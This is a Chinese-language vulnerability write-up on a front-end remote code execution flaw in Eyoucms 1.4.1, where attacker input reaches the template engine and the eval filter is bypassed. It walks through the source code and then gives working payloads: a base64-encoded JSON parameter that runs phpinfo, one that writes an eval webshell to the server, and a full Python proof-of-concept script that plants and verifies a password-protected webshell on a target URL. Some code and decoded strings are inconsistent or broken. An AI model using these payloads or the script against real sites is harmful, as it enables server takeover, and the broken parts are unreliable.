Eyoucms 1.4.1 前台rce

一、漏洞简介

二、漏洞影响

Eyoucms 1.4.1

三、复现过程

漏洞分析

进入/application/api/controller/Ajax.php中的function get_tag_memberlist方法

public function get_tag_memberlist()
{
    if (IS_AJAX_POST) {
        $htmlcode = input('post.htmlcode/s');
        $htmlcode = htmlspecialchars_decode($htmlcode);

        $attarray = input('post.attarray/s');
        $attarray = htmlspecialchars_decode($attarray);
        $attarray = json_decode(base64_decode($attarray));

        /*拼接完整的memberlist标签语法*/
        $innertext = "{eyou:memberlist";
        foreach ($attarray as $key => $val) {
            if (in_array($key, ['js'])) {
                continue;
            }
            $innertext .= " {$key}='{$val}'";
        }
        $innertext .= " js='on'}";
        $innertext .= $htmlcode;
        $innertext .= "{/eyou:memberlist}";
        /*--end*/
        $msg = $this->display($innertext); // 渲染模板标签语法
        $data['msg'] = $msg;
        $this->success('读取成功!', null, $data);
    }
    $this->error('加载失败!');
}

3 Line: 判断是否AJAX请求 4 Line: 从post获取用户输入参数htmlcode的值并将结果赋值给$htmlcode 5 Line: 将$htmlcode中的实体字符转换为正常字符 7 Line: 从post获取用户输入参数attarray的值并将结果赋值给$attarray 8 Line: 将$attarray中的实体字符转换为正常字符 9 Line: 将$attarray进行base64解码再json解码 12 Line: 定义标签 13~18 Line: 使用foreach将$attay以键值对的方式遍历出来,判断每一个元素是否为js如果是那么直接进入下一次循环,否则"{$key}='{$val}'"连接到标签后面 19 Line: 闭合第一个标签 20 Line: 将$htmlcode拼接到标签后,作为内容使用 21 Line: 将闭合标签拼接到$innertext中 23 Line: 调用基类中的display方法并将$innertext传入

跟踪到/core/library/think/Controll.php文件中的display方法

protected function display($content = '', $vars = [], $replace = [], $config = [])
{
    return $this->view->display($content, $vars, $replace, $config);
}

3 Line: 调用视图类中的display方法,并将$content、$vars、$replace、$config传入

跟踪到/core/library/think/View.php文件中的display方法

public function display($content, $vars = [], $replace = [], $config = [])
{
    return $this->fetch($content, $vars, $replace, $config, true);
}

3 Line: 调用当前类中的fetch方法并将并将$content、$vars、$replace、$config传入

跟踪到/core/library/think/View.php文件中的fetch方法

public function fetch($template = '', $vars = [], $replace = [], $config = [], $renderContent = false)
{
    // 模板变量
    $vars = array_merge(self::$var, $this->data, $vars);

    // 页面缓存
    ob_start();
    ob_implicit_flush(0);
    // 渲染输出
    try {
        $method = $renderContent ? 'display' : 'fetch';
        // 允许用户自定义模板的字符串替换
        // $replace = array_merge($this->replace, $replace, (array) $this->engine->config('tpl_replace_string'));
        $replace = array_merge($this->replace, (array) $this->engine->config('tpl_replace_string'), $replace); // 解决一个页面上调用多个钩子的冲突问题 by 小虎哥
        /*插件模板字符串替换,不能放在构造函数,毕竟构造函数只执行一次 by 小虎哥*/
        // if ($this->__isset('weappInfo')) {
        //     $weappInfo = $this->__get('weappInfo');
        //     if (!empty($weappInfo['code'])) {
        //         $replace['__WEAPP_TEMPLATE__'] = ROOT_DIR.'/'.WEAPP_DIR_NAME.'/'.$weappInfo['code'].'/template';
        //     }
        // }
        /*--end*/
        $this->engine->config('tpl_replace_string', $replace);
        $this->engine->$method($template, $vars, $config);
    } catch (\Exception $e) {
        ob_end_clean();
        throw $e;
    }

    // 获取并清空缓存
    $content = ob_get_clean();
    // 内容过滤标签
    Hook::listen('view_filter', $content);

    // $this->checkcopyr($content);

    return $content;
}

4 Line: 将当前类中的成员属性$var、$data以及传入的$vars合并为一个数组并赋给$vars 7~8 Line: 开启页面缓存 11 Line: 使用三元运算符判断外部传入的$renderContent是否为真,若为真那么将display赋值给$method,否则将fetch赋值给$method 24 Line: 调用Think类中的$method方法并将$template、$vars、$config传入

跟踪到/core/library/think/view/driver/Think.php中的display方法

public function display($template, $data = [], $config = [])
{
    $this->template->display($template, $data, $config);
}

3 Line: 调用模板类中的display方法并将$template、$data、$config传入

跟踪到/core/library/think/Template.php中的display方法

public function display($content, $vars = [], $config = [])
{
    if ($vars) {
        $this->data = $vars;
    }
    if ($config) {
        $this->config($config);
    }
    $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($content) . '.' . ltrim($this->config['cache_suffix'], '.');
    if (!$this->checkCache($cacheFile)) {
        // 缓存无效 模板编译
        $this->compiler($content, $cacheFile);
    }
    // 读取编译存储
    $this->storage->read($cacheFile, $this->data);
}

3~5 Line: 判断外部传入的$vars是否有值,若有那么则将$vars赋值给当前类中的成员属性data中 6~8 Line: 判断$config是否有值,若有那么将$config传入当前类中的config方法 9 Line: 生成缓存文件名称赋值给$cacheFile 10~13 Line: 判断是否没有$cacheFile这个缓存文件,为真则调用当前类中的compiler方法并且将$content及$cacheFile传入其中

跟踪到/core/library/think/Template.php中的compiler方法

private function compiler(&$content, $cacheFile)
{
    // 判断是否启用布局
    if ($this->config['layout_on']) {
        if (false !== strpos($content, '{__NOLAYOUT__}')) {
            // 可以单独定义不使用布局
            $content = str_replace('{__NOLAYOUT__}', '', $content);
        } else {
            // 读取布局模板
            $layoutFile = $this->parseTemplateFile($this->config['layout_name']);
            if (is_array($layoutFile)) { // 引入模板的错误友好提示 by 小虎哥
                $content = !empty($layoutFile['msg']) ? $layoutFile['msg'] : $content;
            } else if ($layoutFile) {
                // 替换布局的主体内容
                $content = str_replace($this->config['layout_item'], $content, file_get_contents($layoutFile));
            }
        }
    } else {
        $content = str_replace('{__NOLAYOUT__}', '', $content);
    }

    // 模板解析
    $this->parse($content);
    if ($this->config['strip_space']) {
        /* 去除html空格与换行 */
        $find    = ['~>\s+<~', '~>(\s+\n|\r)~'];
        $replace = ['><', '>'];
        $content = preg_replace($find, $replace, $content);
    }
    // 优化生成的php代码
    $content = preg_replace('/?>\s*<?php\s(?!echo\b)/s', '', $content);
    // 模板过滤输出
    $replace = $this->config['tpl_replace_string'];
    $content = str_replace(array_keys($replace), array_values($replace), $content);
    // 添加安全代码及模板引用记录
    $content = '<?php if (!defined('THINK_PATH')) exit(); /*' . serialize($this->includeFile) . '*/ ?>' . "\n" . $content;
    // 编译存储
    $this->storage->write($cacheFile, $content);
    $this->includeFile = [];
    return;
}

23 Line: 将外部传入的$content传到当前类中的parse(解析模板)方法中

跟踪到/core/library/think/Template.php中的parse方法

public function parse(&$content)
{
    // 内容为空不解析
    if (empty($content)) {
        return;
    }
    // 替换eyou:literal标签内容
    $this->parseEyouLiteral($content);
    // 替换literal标签内容
    $this->parseLiteral($content);
    // 解析继承
    $this->parseExtend($content);
    // 解析布局
    $this->parseLayout($content);
    // 检查eyou:include语法  by 小虎哥
    $this->parseEyouInclude($content);
    // 检查include语法
    $this->parseInclude($content);
    // 替换包含文件中literal标签内容
    $this->parseLiteral($content);
    // 替换包含文件中eyou:literal标签内容
    $this->parseEyouLiteral($content);
    // 检查PHP语法
    $this->parsePhp($content);

    // 获取需要引入的标签库列表
    // 标签库只需要定义一次,允许引入多个一次
    // 一般放在文件的最前面
    // 格式:<taglib name="html,mytag..." />
    // 当TAGLIB_LOAD配置为true时才会进行检测
    if ($this->config['taglib_load']) {
        $tagLibs = $this->getIncludeTagLib($content);
        if (!empty($tagLibs)) {
            // 对导入的TagLib进行解析
            foreach ($tagLibs as $tagLibName) {
                $this->parseTagLib($tagLibName, $content);
            }
        }
    }
    // 预先加载的标签库 无需在每个模板中使用taglib标签加载 但必须使用标签库XML前缀
    if ($this->config['taglib_pre_load']) {
        $tagLibs = explode(',', $this->config['taglib_pre_load']);
        foreach ($tagLibs as $tag) {
            $this->parseTagLib($tag, $content);
        }
    }
    // 内置标签库 无需使用taglib标签导入就可以使用 并且不需使用标签库XML前缀
    $tagLibs = explode(',', $this->config['taglib_build_in']);
    foreach ($tagLibs as $tag) {
        $this->parseTagLib($tag, $content, true);
    }
    // 解析普通模板标签 {$tagName}
    $this->parseTag($content);

    // 还原被替换的eyou:Literal标签
    $this->parseEyouLiteral($content, true);

    // 还原被替换的Literal标签
    $this->parseLiteral($content, true);
    return;
}

24 Line: 调用当前类中的parsePhp(解析php标签)方法并将$content传入

跟踪到/core/library/think/Template.php中的parsePhp方法

private function parsePhp(&$content)
{
    // 短标签的情况要将<?标签用echo方式输出 否则无法正常输出xml标识
    $content = preg_replace('/(<?(?!php|=|$))/i', '<?php echo '\1'; ?>' . "\n", $content);

    // 过滤eval函数,防止被注入执行任意代码 by 小虎哥
    $view_replace_str = config('view_replace_str');
    if (isset($view_replace_str['__EVAL__'])) {
        if (stristr($content, '{eyou:php}')) { // 针对{eyou:php}标签语法处理
            preg_match_all('/{eyou\:php}.*{\/eyou\:php}/iUs', $content, $matchs);
            $matchs = !empty($matchs[0]) ? $matchs[0] : [];
            if (!empty($matchs)) {
                foreach($matchs as $key => $val){
                    $valNew = preg_replace('/{(\/)?eyou\:php}/i', '', $val);
                    $valNew = preg_replace("/([\W]+)eval(\s*)(/i", 'intval(', $valNew);
                    $valNew = preg_replace("/^eval(\s*)(/i", 'intval(', $valNew);
                    $valNew = "{eyou:php}{$valNew}{/eyou:php}";
                    $content = str_ireplace($val, $valNew, $content);
                }
            }
        } else if (stristr($content, '{php}')) { // 针对{php}标签语法处理
            preg_match_all('/{php}.*{\/php}/iUs', $content, $matchs);
            $matchs = !empty($matchs[0]) ? $matchs[0] : [];
            if (!empty($matchs)) {
                foreach($matchs as $key => $val){
                    $valNew = preg_replace('/{(\/)?php}/i', '', $val);
                    $valNew = preg_replace("/([\W]+)eval(\s*)(/i", 'intval(', $valNew);
                    $valNew = preg_replace("/^eval(\s*)(/i", 'intval(', $valNew);
                    $valNew = "{php}{$valNew}{/php}";
                    $content = str_ireplace($val, $valNew, $content);
                }
            }
        } else if (false !== strpos($content, '<?php')) { // 针对原生php语法处理
            $content = preg_replace("/(@)?eval(\s*)(/i", 'intval(', $content);
            $this->config['tpl_deny_php'] && $content = preg_replace("/?\bphp\b/i", "?muma", $content);
        }
    }
    // end

    // PHP语法检查
    if ($this->config['tpl_deny_php'] && false !== strpos($content, '<?php')) {
        if (config('app_debug')) { // 调试模式下中断模板渲染 by 小虎哥
            throw new Exception('not allow php tag', 11600);
        } else { // 运营模式下继续模板渲染 by 小虎哥
            echo(lang('not allow php tag'));
        }
    }
    return;
}

4 Line: 将模板中php短标签转换为 21 Line: 判断传入的$content中是否包含了{php} 22 Line: 使用正则表达式匹配出$content中所有包含了"{php}任意内容{/php}"的标签 23 Line: 使用三目运算符判断匹配出来的数组中的第0个元素是否有值,如果有值那么将第0个元素的值赋给$matchs否则将空数组赋给$matchs 24 Line: 判断$matchs不为空 25 Line: 将$matchs使用foreach循环遍历 26 Line: 将$val中的"{/任意空白字符php}"替换为空并赋给$valnew 27 Line: 将$valnew中的"多个或零个0-9A-Za-Z_eval("替换为"intval(" 28 Line: 将$valnew中的"开始为eval任意空白字符("替换为"intval(" 29 Line: 将字符串"{php}{$valNew}{/php}"赋给$valnew 30 Line: 将$content中的$val替换为$valNew

漏洞复现

Payload:attarray=eyJ7cGhwfXBocGluZm8oKTt7XC9waHB9Ijoie3BocH1waHBpbmZvKCk7e1wvcGhwfSJ9&html={php}phpinfo();{/php}

image

Payload生成方式:

base64_encode(jsonstring)

eval会被替换成intval,所以我们采用base64加密写入webshell的方式 php代码如下:

file_put_contents("./wait.php",base64_decode("PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg=="));

PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==内容:

<?php eval($_REQUEST[“w”]);?>

将php标签转换为json格式并加密:

print base64_encode(json_encode(array("{php}file_put_contents('./wait.php',base64_decode("PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg=="));{/php}"=>"{php}file_put_contents('./wait.php',base64_decode("PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg=="));{/php}")));

eyJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuXC93YWl0LnBocCcsYmFzZTY0X2RlY29kZShcIlBEOXdhSEFnWVhOelpYSjBLQ1JmVWtWUlZVVlRWRnNpZHlKZEtUc1wvUGc9PVwiKSk7e1wvcGhwfSI6IntwaHB9ZmlsZV9wdXRfY29udGVudHMoJy5cL3dhaXQucGhwJyxiYXNlNjRfZGVjb2RlKFwiUEQ5d2FIQWdZWE56WlhKMEtDUmZVa1ZSVlVWVFZGc2lkeUpkS1RzXC9QZz09XCIpKTt7XC9waHB9In0=

pyload:

attarray=eyJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuXC93YWl0LnBocCcsYmFzZTY0X2RlY29kZShcIlBEOXdhSEFnWVhOelpYSjBLQ1JmVWtWUlZVVlRWRnNpZHlKZEtUc1wvUGc9PVwiKSk7e1wvcGhwfSI6IntwaHB9ZmlsZV9wdXRfY29udGVudHMoJy5cL3dhaXQucGhwJyxiYXNlNjRfZGVjb2RlKFwiUEQ5d2FIQWdZWE56WlhKMEtDUmZVa1ZSVlVWVFZGc2lkeUpkS1RzXC9QZz09XCIpKTt7XC9waHB9In0=&htmlcode=bb

image

htmlcode参数作为随机方式传递

poc

silly@PenetrationOs:~#: python eyoucms-ssti.py -u http://192.168.1.106:8085/ -o abc

[+] 正在请求目标地址:http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist
[*] 目标地址http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist存活
[+] 正在向目标地址http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist写入abc.php
[*] 疑似成功写入Webshell
[+] 正在探测Webshell(http://192.168.1.106:8085/abc.php)是否存活
[*] Webshell(http://192.168.1.106:8085/abc.php)已存活
[*] 密码:ceshi
[*]
python

#!/usr/bin/python

 -*- coding: UTF-8 -*-

import requests

import sys,getopt

import json,base64

import time



class Eyoucms:

    session = None

    headers = None

    password = "ceshi"

    output = "ceshi"

    requesturi = "/?m=api&c=ajax&a=get_tag_memberlist"



    def __init__(self,headers):

        self.headers = headers

        self.getparam(sys.argv[1:])

        self.requestsdata = {

            "attarray":self.createpyload(),

            "htmlcode":time.time()

        }

        self.run()



    def getparam(self,argv):

        try:

            options, args = getopt.getopt(argv, "h:u:p:o:", ["help", "url=","password=","output="])

        except getopt.GetoptError:

            print 'eyoucms-ssti.py -u url -p password -o outputfile'

            return

        for option, value in options:

            if option in ("-h", "--help"):

                print 'eyoucms-ssti.py -u url'

            if option in ("-u", "--url"):

                if(self.request(value).status_code != 404):

                    self.url = value

            if option in ("-p", "--password"):

                    if(value != None):

                        self.password = value

                    else:

                        self.password = "ceshi"

            if option in ("-o", "--output"):

                    if(value != None):

                        self.output = value.replace(".php","")

                    else:

                        self.output = "ceshi"



    def run(self):

        url = self.url.rstrip('/')+self.requesturi

        print "[+] 正在请求目标地址:%s"%(url)

        if(self.request(url).status_code == 200):

            print "
 目标地址%s存活"%url

        else:

            print "[-] 目标地址%s探测失败"%url

            return

        print "[+] 正在向目标地址%s写入%s.php"%(url,self.output)

        if(self.request(url,"post").status_code == 200):

            print "
 疑似成功写入Webshell"

        shell = self.url.rstrip('/')+"/%s.php"%self.output

        print "[+] 正在探测Webshell(%s)是否存活"%(shell)

        if(self.request(shell).status_code == 200):

            print "
 Webshell(%s)已存活\n
 密码:%s"%(shell,self.password)





    def createpyload(self):

        short = base64.b64encode("<php eval($_REQUEST[%s]);?>"%self.password)

        file = self.output

        payload = {

            "{php}1{/php}":"{php}file_put_contents('./%s.php',base64_decode('%s'));{/php}"%(file,short)

        }

        return base64.b64encode(json.dumps(payload))



    def request(self,url,method="get"):

        respone = None

        if(not self.session):

            self.session = requests.Session()

        if(method == "get"):

            try:

                respone = self.session.get(url=url,headers=self.headers)

            except requests.exceptions.ConnectTimeout:

                print "[-] 请求%s超时"%url

                return

            except requests.exceptions.ConnectionError:

                print "[-] 请求%s无效"%url

                return

            return respone

        elif(method == "post"):

            try:

                respone = self.session.post(url=url,data=self.requestsdata,headers=self.headers)

            except requests.exceptions.ConnectTimeout:

                print "[-] 请求%s超时"%url

                return

            except requests.exceptions.ConnectionError:

                print "[-] 请求%s无效"%url

                return

        return respone



if __name__ == "__main__":



    headers = {

        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0",

        "X-Requested-With":"XMLHttpRequest"

    }

    Eyoucms(headers)

参考链接

https://bbs.ichunqiu.com/thread-56458-1-1.html